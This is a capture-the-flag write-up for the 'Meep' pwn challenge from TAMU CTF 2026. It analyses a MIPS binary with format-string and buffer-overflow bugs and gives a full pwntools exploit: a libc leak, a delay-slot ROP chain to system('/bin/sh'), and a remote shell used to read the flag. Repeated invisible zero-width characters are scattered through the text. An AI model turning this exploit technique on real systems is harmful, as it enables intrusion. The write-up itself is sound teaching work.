← Back to Writeups
CUSTOMMediumpwn

Meep

XESXOR9/2/20265 min read
#pwn#custom#medium#delay_slot_exploitation#format_string_leak#got_leak#libc_address_calculation#mips_rop_chain#linux

Meep

Platform: tamuctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: delay_slot_exploitation, format_string_leak, got_leak, libc_address_calculation, mips_rop_chain

Summary

Task: MIPS32 big-endian binary with format string and buffer overflow vulnerabilities. Solution: Leak libc via format string in greet(), then ROP chain via buffer overflow in diagnostics() using MIPS delay slot gadget to call system('/bin/sh').

Meep — TAMU CTF 2026

Description

The big Meep listens and waits. All it asks for is a name and a command...

A tar.gz archive containing a MIPS32 big-endian ELF binary (meep), MIPS libc libraries, Dockerfile for qemu-mips-static emulation, and connection template. The binary is a network server that asks for an admin name and a diagnostic command.

Analysis

Binary Properties

  • Architecture: MIPS32 big-endian, dynamically linked, not stripped
  • Compiler flags: gcc -meb -mips32 -fno-stack-protector -O0
  • Protections: No canary, no PIE, no stack protector
  • Execution: Runs under qemu-mips-static ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Functions

greet(logger) - Contains two vulnerabilities:

c
void greet(void (*logger)(char *)) {
    void (*func)(char *) = logger;  // function pointer on stack
    char name[0x84];                 // ~132-byte buffer
    send(1, "Enter admin name: ", 18, 0);
    recv(0, name, 0x100, 0);  // VULN: reads 256 bytes into ~132-byte buffer
    func("Hello:");
    printf(name);              // VULN: format string vulnerability!
}

diagnostics() - Buffer overflow:

c
void diagnostics() {
    char cmd[0x80];  // 128-byte buffer
    send(1, "Enter diagnostic command:", 27, 0);
    recv(0, cmd, 0x100, 0);  // VULN: reads 256 bytes into 128-byte buffer
    // Space checks at positions 0 and 0x7f only - trivial bypass
    // Does NOT actually execute any command - red herring
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack Layout (diagnostics)

  • fp+0x18: cmd buffer (0x80 bytes)
  • fp+0x98: saved $s0
  • fp+0x9c: saved $s1
  • fp+0xa0: saved $fp
  • fp+0xa4: saved $ra
  • Overflow offset to $ra: 140 bytes from buffer start

Key Addresses

SymbolAddress/Offset
printf@GOT0x411088
puts (libc)0x7D3B0
system (libc)0x536E8
"/bin/sh" (libc)0x1BA178
ROP gadget (libc)0x35F40

Vulnerabilities

  1. Format String in greet(): printf(name) uses user input directly as format string
  2. Buffer Overflow in greet(): recv() reads 256 bytes into ~132-byte buffer
  3. Buffer Overflow in diagnostics(): recv() reads 256 bytes into 128-byte buffer, can overwrite saved $ra ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploitation Strategy

Two-stage attack across greet() and diagnostics():

Stage 1: Leak libc via format string

  • Send %6$08x as admin name
  • printf(name) prints the puts address from stack at format string offset 6
  • Calculate: libc_base = leaked_puts - 0x7D3B0
  • Derive: system() = libc_base + 0x536E8, "/bin/sh" = libc_base + 0x1BA178

Stage 2: ROP chain via buffer overflow

  • Overflow the 128-byte buffer in diagnostics() to overwrite saved registers
  • Set $s0 = address of "/bin/sh" in libc
  • Set $ra = ROP gadget at libc+0x35F40:
    asm
    lw $t9, 0x1c($sp)   ; load function pointer from stack
    jalr $t9             ; call it
    move $a0, $s0        ; $a0 = $s0 (MIPS delay slot - executed before jalr)
  • Place system() at sp+0x1c so gadget loads and calls system("/bin/sh") ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MIPS-specific notes:

  • MIPS uses $ra for return address (like ARM's LR)
  • MIPS has delay slots: instruction after branch/jump executes before branch takes effect
  • Big-endian byte order for all addresses
  • $a0 = first function argument (calling convention)
python
#!/usr/bin/env python3
"""
MIPS ROP Exploit for 'meep' challenge

Vulnerability: Buffer overflow in diagnostics() function
- recv() reads 256 bytes into 128-byte buffer
- Overwrites saved registers $s0, $s1, $fp, $ra

Exploitation:
1. Leak libc address using format string in greet()
2. Overflow buffer in diagnostics() to:
   - Set $s0 = address of "/bin/sh" in libc
   - Set $ra = ROP gadget address
   - Place system() address at correct stack offset for gadget
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ROP Gadget at libc+0x035f40:
   lw $t9, 0x1c($sp)   ; load $t9 from sp+28
   jalr $t9            ; call $t9
   move $a0, $s0       ; $a0 = $s0 (delay slot - executed before jalr)
"""

from pwn import *
import re

context.arch = "mips"
context.endian = "big"
context.log_level = "info"

# Libc offsets
LIBC_PUTS = 0x0007D3B0
LIBC_SYSTEM = 0x000536E8
LIBC_BINSH = 0x001BA178
GADGET = 0x035F40  # lw $t9, 0x1c($sp); jalr $t9; move $a0, $s0


def connect():
    return remote("streams.tamuctf.com", 443, ssl=True, sni="meep")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def exploit():
    io = connect()
    io.recvuntil(b"Enter admin name: ")

    # Stage 1: Leak libc address using format string
    payload = b"%6$08x"
    io.send(payload)

    data = io.recvuntil(b"Enter diagnostic command:")

    match = re.search(rb"Hello:\n\n([0-9a-f]{8})", data)
    if not match:
        log.error("Failed to leak puts address")
        io.close()
        return

    puts_addr = int(match.group(1).decode(), 16)
    libc_base = puts_addr - LIBC_PUTS
    system_addr = libc_base + LIBC_SYSTEM
    binsh_addr = libc_base + LIBC_BINSH
    gadget_addr = libc_base + GADGET
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    log.success(f"libc base: 0x{libc_base:08x}")
    log.success(f"system: 0x{system_addr:08x}")
    log.success(f"/bin/sh: 0x{binsh_addr:08x}")
    log.success(f"gadget: 0x{gadget_addr:08x}")

    # Stage 2: ROP in diagnostics()
    # Stack layout:
    # Buffer at sp+0x18 (24), $s0 at sp+0x98 (152) -> offset 128 from buffer
    # After return, gadget reads $t9 from new_sp + 0x1c = buffer + 172

    payload = b"X" * 128          # Padding to reach $s0
    payload += p32(binsh_addr)    # $s0 = /bin/sh
    payload += b"Y" * 4           # $s1
    payload += b"Z" * 4           # $fp
    payload += p32(gadget_addr)   # $ra = gadget
    payload += b"W" * 28          # Padding to reach $t9 position (offset 172)
    payload += p32(system_addr)   # $t9 = system
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.send(payload)
    sleep(1)
    io.sendline(b"cat /home/flag.txt")
    io.interactive()


if __name__ == "__main__":
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍